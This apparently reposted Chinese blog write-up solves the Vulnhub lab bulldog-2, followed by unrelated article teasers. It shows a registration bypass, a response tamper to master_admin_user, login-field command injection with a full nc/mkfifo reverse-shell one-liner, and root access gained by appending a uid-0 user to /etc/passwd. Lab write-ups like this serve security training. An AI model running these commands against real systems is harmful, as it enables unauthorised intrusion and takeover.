【甄选靶场】 Vulnhub百个项目渗透——项目四十六:bulldog-2(登陆框命令执行,写入用户)

news/2024/8/19 13:29:07

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目四十六:bulldog-2(登陆框命令执行,写入用户)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
    • 信息收集
    • 绕过注册
        • js文件解码
    • 登陆框命令执行
    • 提权


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


信息收集

80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Bulldog.social
|_http-server-header: nginx/1.14.0 (Ubuntu)
MAC Address: 08:00:27:52:27:F8 (Oracle VirtualBox virtual NIC)

在这里插入图片描述获得了以下几个用户名

Sarah Dubree
William Katz
Johnathan Abbey
Winston Churchy

还有一个图片,分析过后没有找到任何信息
在这里插入图片描述然然后不允许注册,这里注册可能可以绕过
但是我们先扫目录

在这里插入图片描述这里很显然有waf,因为全都报的存在,那么应该要注意waf对我们操作的影响

绕过注册

绕过注册我们可以先看看前段有什么js包,里面可能会有关于注册的一些信息,并且要不停的抓包分析

f12发现有五个js包,我们直接双击打开,ctrl+f搜索 register
发现注册需要邮箱和name
然后就构造一下post内容

{
  "name": "1",
  "email": "1@1.com",
  "username": "1",
  "password": "1"
}

再去注册页面刷新抓包,改掉请求头

POST /users/register HTTP/1.1

在这里插入图片描述
这是登陆界面的包
在这里插入图片描述
这是更改过后发的包
在这里插入图片描述

在这里插入图片描述

发现用户名全都显示在了url中在这里插入图片描述
此时此刻我觉得只要我能找到一个用户名,我就能登录进去
但是之前获得的那几个都不行,admin也不行
那现在就再抓包分析一下

登陆界面抓包发现了一串jwt
在这里插入图片描述
可以看到再回应包中有一个新的参数
“auth_level”: “standard_user”
说我们是标准用户
那说明只要我们在新注册用户的时候申明我们是admin用户,那不就相当于创建了一个admin用户嘛
那么现在就是要找到admin用户的这个声明是什么(但是不能注册的时候声明,因为注册的post内容有限制,我后来失败了)
上面是一串jwt解密
先去解密

在这里插入图片描述啥也没有,继续去就是包找,关键字段:auth_level
在这里插入图片描述
在这里插入图片描述

js文件解码

https://deobfuscate.io/

在这里插入图片描述放到本地随便找个编辑器就行
在这里插入图片描述
找到了:

master_admin_user
Do intercept -> Response to this request

在这里插入图片描述然后直接放包,就会收到返回包,然后直接修改
在这里插入图片描述

登陆框命令执行

发现还有一个登陆,那就接着抓包分析在这里插入图片描述发现无论我们输入啥,都会显示200ok,说明服务器能正确接受并响应,那就猜测这里存在远程命令执行
在这里插入图片描述添加了一个双引号:"
发现报错并且暴露了铭感信息
/var/www/node/Bulldog-2-The-Reckoning/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.140 8888 >/tmp/f

本地开个端口接着就行

提权

在这里插入图片描述
搜集到的信息

admin❌1000:1004:admin:/home/admin:/bin/bash 27(sudo)
node❌1001:1005:,:/home/node:/bin/bash
root❌0:0:root:/root:/bin/bash
3)[+] Writable passwd file? … /etc/passwd is writable
密码可以写
那就是写个用户就完事了

perl -le 'print crypt("rong","aa")'
这里会回显一个加密后的密码aa3ivx.lC6a0w
echo 'rongroot:aa3ivx.lC6a0w:0:0:rongroot:/root:/bin/bash' >>/etc/passwd
su rongroot

在这里插入图片描述


http://lihuaxi.xjx100.cn/news/101251.html

相关文章

【单片机毕业设计】【mcuclub-hj-015】基于单片机的水质监控的设计

最近设计了一个项目基于单片机的水质监控系统,与大家分享一下: 一、基本介绍 项目名:水质监控 项目编号:mcuclub-hj-015 单片机类型:STC89C52 具体功能: 1、通过防水式DS18B20检测水温,当检测…

7.区块链系列之hardhat框架部署合约

先前讲解的本地部署只能合约的方式编码较多,现在我们介绍目前比较流行的智能合约框架hardhat 1.环境准备 yarn init yarn add --dev hardhat yarn hardhat npm install --save-dev nomicfoundation/hardhat-toolbox2. 新建并编译SimpleStorage.sol 在hardhat框架…

【GlobalMapper精品教程】012:WGS84转2000地理坐标系与平面坐标系

本文以案例的形式,讲解在Globalmapper中文版V23.0平台中,WGS84与2000地理坐标系、2000平面坐标系(有带号和无带号)和UTM投影之间的互转。 文章目录 1. 地理坐标WGS84→地理坐标CGCS20002. 地理坐标WGS84→平面投影坐标CGCS20002.1 有带号20002.2 无带号20003. WGS84、CHINA…

9.高级内存管理单元

本章内容仍将涉及内存和物理页的分配/回收算法,虽然初级内存管理单元一节,已经实现了对物理内存信息的检测,并初步实现了物理页的分配功能,但这些功能不够强大,不足以支撑整个系统内核的正常运行,因此需通过…

Python判断中使用多个and和or的优先级与踩坑

tags: Python Debug 一个问题 最近刷力扣,想试试 Python 新支持的海象操作符, 其实就是能在语句中赋值, 类似下面这样: if (n:len(nums)):return False但是当出现下面这种情况的时候, 赋值就会失败: if True or (a:1):print(a)NameError: name a is not defined 出现这个错…

[附源码]Java计算机毕业设计SSM服装创意定制管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

【科学文献计量】Custom node icons使用图片自定义网络图中的节点过程详解并封装函数直接调用

Custom node icons使用图片自定义网络图中的节点过程详解并封装函数直接调用 0 版本信息1 官方示例2 案例详解2.1 加载图片数据2.2 生成网络图节点和边缘2.3 调整网络图布局2.4 坐标系转换2.5 设置图片的大小和中心位置2.6 把图片放置在对应的节点上3 函数封装3.2 封装13.2 封装…

CLIFF

又发现了华为的一个神器啊 咱来说说哦 华为诺亚提出的刷榜3维人体重建领域的工作CLIFF,在 AGORA 排行榜(SMPL 算法赛道)上排名第一,吓人哈.. 论文链接:https://arxiv.org/abs/2208.00571 代码地址:https://github.c…